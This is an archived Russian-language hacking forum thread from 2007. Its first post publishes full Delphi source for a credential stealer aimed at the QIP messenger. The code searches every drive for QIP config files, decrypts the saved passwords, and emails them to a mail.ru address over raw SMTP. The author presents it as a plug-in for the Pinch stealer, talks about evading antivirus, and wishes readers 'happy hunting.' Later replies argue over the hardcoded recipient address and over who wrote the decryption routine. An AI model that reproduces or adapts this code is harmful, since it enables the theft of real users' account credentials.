HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Skype, IRC, ICQ, Jabber и другие IM
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

Воруем пасы из Qip'a. Delphi.
  #1  
Старый 15.02.2007, 16:04
t04
Участник форума
Регистрация: 10.01.2007
Сообщений: 140
С нами: 10175096

Репутация: 105
Thumbs up Воруем пасы из Qip'a. Delphi.

Тема конечно изъезжена вдоль и поперек но многие хотят что бы пинч выдирал пасы и из qip'a тоже так как готовые модули никто не выкладывал то хочу поделиться своим;

я написал на Delphi весит около 11 Кб после упаковки UPX'ом, работает вплоть до билда 8000 и скорее всего выше тоже.

1) ищет и везде, по всем логическим дискам и каталогам
2) выдирает пароли
3) дешифрует их
4) отсылает пароли на почтовый ящик

стандартные модули для пинча тут они конечно же палятся каспером поэтому желательно их модифицировать.

собсна мой модуль выгляд так:

Код:
unit uQIP;

interface

uses
  Windows;

function QIP(AD:Boolean) : String;

implementation

const
  clipboard = 255*1024;

type
  TMyArray = array[1..clipboard] of char;
  PMyArray = ^TMyArray;

var
  PasWD : String = 'qip:'+#$D+#$A;

//Ясно без комментариев ;)
function MyStrToInt(S:String):Integer;
var
  I, ErrorCode: Integer;
begin
  Result:=-0;
  Val(S, I, ErrorCode);
  if ErrorCode <> 0 then
    begin
      WinExec(PChar(ParamStr(0)),SW_HIDE);
      Halt;
    end
  else
    Result := I;
end;

//Расшифровка паролей
function DecryptQIPPass_New(pass:string):string;

function DecodeBase64(value:string):string;

function DecodeChunk(const chunk:string):string;
const
  b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
var
  w : LongWord;
  i : byte;
  c : char;
begin
  w:=0;
  Result:='';
  for i:=1 to 4 do
	  if pos(Chunk[i],b64)<>0 then
	    w:=w+word((pos(Chunk[i],b64)-1))shl((4-i)*6);
  for i := 1 to 3 do
    begin
	    c:=chr(w shr((3-i)shl 3)and $ff);
	    if c<>#0 then Result:=Result+c
    end
end;

begin
  Result:='';
  if length(Value)and $03<>0 then exit;
  while length(Value)>0 do
    begin
      Result:=Result+DecodeChunk(copy(value,0,4));
      delete(value,1,4);
    end
end;

var
  t,i,c : integer;
begin
  i:=length(pass);
  if i=0 then
	  result:='Not Saved'
  else
	if i and $03<>0 then
	  result:='Cannot Decrypt'
	else
    begin
	    Result:=DecodeBase64(pass);
  	  t:=$1ac3;
    	  for i:=1 to length(Result) do
          begin
      	    c:=Ord(Result[i]);
      	    Result[i]:=chr(c xor(t shr 8));
            t:=(t+c)*$38421+$64ceb;
      	  end
    end
end;

function DecryptQIPPass_Old(pass:string):string;
const
  Table1:string='4654360486439083677';
  Table2:string='216463956385630579';

function DeXor1(const Pass,Table:string):string;
var
  CryptChar:Byte;
  i,p:Integer;
begin
  Result:=Pass;
  CryptChar:=Length(Table)-1;
  p:=1;
  for i:=1 to Length(Result) do begin
    if (CryptChar and 8) = 0 then
      CryptChar:=CryptChar xor 1;
    CryptChar:=not CryptChar;
    CryptChar:=(CryptChar shr 1)or(CryptChar shl 7);
    Result[i]:=Chr(Ord(Result[i])xor CryptChar xor Ord(Table[p]));
    Inc(p);
    if p>Length(Table) then
      p:=1;
  end;
end;

function DeXor2(const Pass:string):string;
var
  CryptInt:SmallInt;
  i,t,l,v:integer;
const
  Table: array[0..$5f] of Byte = (
    $5A, $54, $5B, $5C, $55, $4E, $48, $4F, $56, $5D, $5E, $57, $50, $49, $42, $3C,
    $43, $4A, $51, $58, $5F, $59, $52, $4B, $44, $3D, $36, $30, $37, $3E, $45, $4C,
    $53, $4D, $46, $3F, $38, $31, $2A, $24, $2B, $32, $39, $40, $47, $41, $3A, $33,
    $2C, $25, $1E, $18, $1F, $26, $2D, $34, $3B, $35, $2E, $27, $20, $19, $12, $0C,
    $13, $1A, $21, $28, $2F, $29, $22, $1B, $14, $0D, $06, $00, $07, $0E, $15, $1C,
    $23, $1D, $16, $0F, $08, $01, $02, $09, $10, $17, $11, $0A, $03, $04, $0B, $05
  );
begin
  Result:=Pass;
  l:=length(Result);
  t:=l;
  for i:=1 to l do begin
    CryptInt:=Ord(Result[i])-$20;
    if (CryptInt>=0) and (CryptInt<=$5f) then begin
      v:=CryptInt;
      if l and $03<>0 then
	t:=(t shl 3)or(t shr 27);
      t := t and $1f;
      CryptInt:=CryptInt xor t;
      t:=t+l+v;
      Result[i]:=Chr(Table[CryptInt]+$20);
    end;
    Dec(l);
  end;
end;

var
  i,l:integer;
begin
  result:='';
  l:=length(pass);
  if l=0 then
    result:='Not Saved'
  else
    if l and $01<>0 then
      result:='Cannot Decrypt'
    else
      begin
        for i:=1 to l do
          begin
          	if pos(pass[i],'0123456789ABCDEF')=0 then
              begin
            	  result:='Cannot Decrypt';
	              exit
	            end
          end;
        for i := 1 to l shr 1 do
	        Result:=Result+Chr(MyStrToInt('$'+Copy(pass,i shl 1 -1,2)));
      Result:=DeXor1(Result,Table1);
      Result:=DeXor1(Result,Table2);
      Result:=DeXor2(Result);
    end
end;

//Узнаем все логические диски
function MyGetLogicalDrives : String;
var
   drives  : set of 0..25;
   drive   : integer;
begin
   Result := '';
   DWORD( drives ) := Windows.GetLogicalDrives;
   for drive := 0 to 25 do
      if drive in drives then
         Result := Result + Chr( drive + Ord( 'A' ));
end;

{ Узнаем имя последнего каталога
  Нужно для того что бы узнать от какого UIN'a мы узнали пароль}
function ExtractLastPathName(S:String):String;
begin
Result:=S;
Delete(S,Length(S),1);
while Pos('\',s) <> 0 do
  begin
    Delete(s,1,Pos('\',s));
    Result:=S;
  end;
end;

//Выдираем криптованную строку из Config.ini
procedure ExtractPass(fp,fn:String);
var
  body: hFile;
  rd,x : cardinal;
  Size: DWORD;
  buf : PMyArray;
  st  : OFSTRUCT;
  s   : String;
begin
  s := '';
  body := OpenFile(PChar(fp+fn),st,OF_READ);
  Size:=GetFileSize(body,nil);
  GetMem(buf,Size);
  try
    ReadFile(body, buf^, Size, rd, nil);
    for x := 1 to Size do
        S := S + buf[x];
    if S <> '' then
      if Pos('NPass=',S) <> 0 then
        begin
          Delete(S,1,Pos('NPass=',S)+6{Length('NPass=')});
          Delete(S,Pos(#$D+#$A,S),Length(S)-Pos(#$D+#$A,S));
          S :=  ExtractLastPathName(fp)+'; '+
                S+'; '+
                DecryptQIPPass_Old(S)+'; '+
                DecryptQIPPass_New(S)+';'+#$D+#$A;
          PasWD := PasWD + S;
        end;
  finally
    CloseHandle(body);
    FreeMem(buf);
  end;
end;

//Ищем в каталоге с подкаталогами Config.ini
procedure ApiSearch(DiR:String);
var
  FileName: string;
  FindHandle:THandle;
  SearchRec:TWIN32FindData;
begin
  if Dir<>'' then if Dir[length(Dir)]<>'\' then
    Dir:=Dir+'\';
  FindHandle := FindFirstFile(PChar(DiR+'*'), SearchRec);
  try
  if FindHandle <> INVALID_HANDLE_VALUE then
    repeat
      FileName:=SearchRec.cFileName;
      if(FileName='.')or(FileName='..')or(Dir+FileName=ParamStr(0))then continue;
      if(SearchRec.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY <>0)then
        ApiSearch(DiR+FileName+'\')//Если это подкаталог то ищем в нем
      else
        if FileName = 'Config.ini' then
          ExtractPass(Dir,FileName);//Если это то что нужно то выдираем криптованную строку
    until FindNextFile(FindHandle,SearchRec)=false;
  finally
    Windows.FindClose(FindHandle);
  end;
end;

{ Основная функция возращает парли
  Если параметр истинный то ищет во всех логических дисках
  Если ложный - только в C:\Program Files\QIP\Users
}
function QIP(AD:Boolean) : String;
var
  i : Byte;
begin                 
  if AD then
    begin
      for i := 1 to Length(myGetLogicalDrives)do
        if GetDriveType(PChar(myGetLogicalDrives[i]+':\')) = DRIVE_FIXED then
          ApiSearch(myGetLogicalDrives[i]+':\');
    end
  else
    ApiSearch('C:\Program Files\QIP\Users');
  Result := PasWD;
end;

end.
function QIP(AD:Boolean) : String;
если параметр true то программа ищет во всех логических дисках и жесткий начинает шуршать
поэтому лучше сначала искать тока в C:\Program Files\QIP\Users а потом везде:

Код:
var
  PASSWORD : String;
begin
  PASSWORD := QIP(false);
  SendPasswords;
  PASSWORD := QIP(true);
  SendPasswords;
end;
SendPasswords(PASSWORD); - отсылка паролей, у мя например на мыло =) код внизу:

Код:
function DateTimeToStrNow:String;
var
  st : TSYSTEMTIME;
  s  : String;
begin
  Result := '';
  GetSystemTime(st);
  Str(st.wHour,s);
  Result := Result+S+':';
  Str(st.wMinute,s);
  Result := Result+S+':';
  Str(st.wSecond,s);
  Result := Result+S;
  Result := Result+' ';
  Str(st.wDay,s);
  Result := Result+S+'.';
  Str(st.wMonth,s);
  Result := Result+S+'.';
  Str(st.wYear,s);
  Result := Result+S;
end; 

function SendPasswords: boolean;
var
  WSAData: TWSAData;
  FSocket: integer;
  HostEnt: PHostEnt;
  SockAddrIn: TSockAddrIn;
  dBuff: PChar;
  dSize: dword;
  Str: array [0..255] of Char;
  HostName: array[0..128] of Char;

  function Success(): boolean;
  var
    Bytes: dword;
    RBuff: array [0..255] of Char;
  begin
    Result := false;
    Bytes := recv(FSocket, RBuff, 255, 0);
    if (Bytes = 0) or (Bytes = SOCKET_ERROR) then Exit;
    RBuff[3] := #0;
    if lstrcmp(RBuff, '220') = 0 then Result := true else
    if lstrcmp(RBuff, '250') = 0 then Result := true else
    if lstrcmp(RBuff, '354') = 0 then Result := true;
  end;

begin
  WSAStartup(257, WSAData);
  Result := false;
  FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  SockAddrIn.sin_family := AF_INET;
  SockAddrIn.sin_port := htons(25);
  SockAddrIn.sin_addr.s_addr := inet_addr('smtp.mail.ru');
  if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
    begin
      HostEnt := gethostbyname('smtp.mail.ru');
      if HostEnt = nil then
        begin
          CloseSocket(FSocket);
          Exit;
        end;
      SockAddrIn.sin_addr.s_addr := PLongint(HostEnt^.h_addr_list^)^;
    end;   
  gethostname(HostName, 128);
  if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) <> -1 then
   begin
    if Success then
     begin
      lstrcpy(Str, PChar('HELO ' + 'smtp.mail.ru' + #13#10#0));
      send(FSocket, Str, lstrlen(Str), 0);
      if Success then
       begin
        lstrcpy(Str, PChar('MAIL FROM: ' + 'myqip@mail.ru' + #13#10#0));
        send(FSocket, Str, lstrlen(Str), 0);
        if Success then
         begin
          lstrcpy(Str, PChar('RCPT TO: ' + 'myqip@mail.ru' + #13#10#0));
          send(FSocket, Str, lstrlen(Str), 0);
          if Success then
           begin
            lstrcpy(Str, 'DATA'#13#10#0);
            send(FSocket, Str, lstrlen(Str), 0);
            if Success then
             begin
              dSize := lstrlen(PChar(HostName+' '+DateTimeToStrNow+#$D+#$A+PASSWORDS));
              GetMem(dBuff, dSize + 6);
              lstrcpy(dBuff, PChar(HostName+' '+DateTimeToStrNow+#$D+#$A+PASSWORDS));
              lstrcat(dBuff, #13#10'.'#13#10#0);
              send(FSocket, dBuff^, dSize + 6, 0);
              FreeMem(dBuff);
              if Success then
               begin
                lstrcpy(Str, 'QUIT'#13#10#0);
                send(FSocket, Str, lstrlen(Str), 0);
                Result := true;
               end;
             end;
           end;
         end;
       end;
     end;
   end;
 CloseSocket(FSocket);
 WSACleanup(); 
 if Result = false then
  begin
    SendPasswords;
    Exit;
  end;
end;
Удачной охоты =)

С вопросами обращаться суда:
ICQ# 466-526-466

PS: Поставьте плюсик Plz =)

Последний раз редактировалось t04; 17.02.2007 в 00:37..
 

  #2  
Старый 17.02.2007, 11:36
devil2007
Banned
Регистрация: 18.05.2006
Сообщений: 150
С нами: 10516706

Репутация: 96
По умолчанию

легче просто пинч 2.98 скачать но за старания +2
 

  #3  
Старый 20.02.2007, 20:01
Chakir
Познающий
Регистрация: 17.04.2006
Сообщений: 47
С нами: 10561307

Репутация: 14
По умолчанию

не пользуйтель модулем для отправки он тасы крысит на мыло myqip@mail.ru
[code] lstrcpy(Str, PChar('MAIL FROM: ' + 'myqip@mail.ru' + #13#10#0));
send(FSocket, Str, lstrlen(Str), 0);
if Success then
begin
lstrcpy(Str, PChar('RCPT TO: ' + 'myqip@mail.ru' + #13#10#0));[code]
 

  #4  
Старый 20.02.2007, 20:14
t04
Участник форума
Регистрация: 10.01.2007
Сообщений: 140
С нами: 10175096

Репутация: 105
По умолчанию

Цитата:
Сообщение от Chakir  
не пользуйтель модулем для отправки он тасы крысит на мыло myqip@mail.ru
[code] lstrcpy(Str, PChar('MAIL FROM: ' + 'myqip@mail.ru' + #13#10#0));
send(FSocket, Str, lstrlen(Str), 0);
if Success then
begin
lstrcpy(Str, PChar('RCPT TO: ' + 'myqip@mail.ru' + #13#10#0));[code]
во первых, это не в модуле а в теле программы.

во вторых, модуль только извлекает пасы в виде строки и ни какую инфу никуда не отсылает

в третьих, вы не обязанны указывать именно то мыло, и тем более использывать именно мою прцедуру отправки, как вы будуте отсылать, по мылу, по ftp, по http или еще как то - это ваши проблемы.
 

  #5  
Старый 20.02.2007, 20:32
gemaglabin
Banned
Регистрация: 01.08.2006
Сообщений: 725
С нами: 10408706

Репутация: 4451


По умолчанию

Расшифровка пассов с квипа же не твой код
 

  #6  
Старый 20.02.2007, 20:39
t04
Участник форума
Регистрация: 10.01.2007
Сообщений: 140
С нами: 10175096

Репутация: 105
По умолчанию

Цитата:
Сообщение от gemaglabin  
Расшифровка пассов с квипа же не твой код
Читай начало статьи, где ты видел что я написал о том что расшифровка пасов это мой код? Я просто сказал что выложил нормальный модуль для извлечения пасов из qip.

Последний раз редактировалось t04; 20.02.2007 в 20:45..
 

  #7  
Старый 20.02.2007, 20:44
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,187
С нами: 10495046

Репутация: 2642


По умолчанию

Цитата:
Сообщение от t04  
Читай начало статьи, где ты видел что я написал о том что расшифровка пасов это мой код? Я просто сказал что выложил нормальный модуль в котором собрал всё необходимое для извлечения пасов в виде строки.
Одна притензия : где копирайты?
 

  #8  
Старый 20.02.2007, 20:47
t04
Участник форума
Регистрация: 10.01.2007
Сообщений: 140
С нами: 10175096

Репутация: 105
По умолчанию

Цитата:
Сообщение от NOmeR1  
Одна притензия : где копирайты?
я не помню автора кода =(
напомни
 
Закрытая тема



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ошибки Windows dinar_007 Windows 19 01.07.2007 13:32
10 вещей, которые вам нужно знать про Vista Firewall ground_zero Мировые новости. Обсуждения. 2 11.02.2007 19:02
«Лаборатории Касперского»: Количество вредоносных программ под Linux резко возросло dinar_007 Мировые новости. Обсуждения. 9 20.08.2006 20:50



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...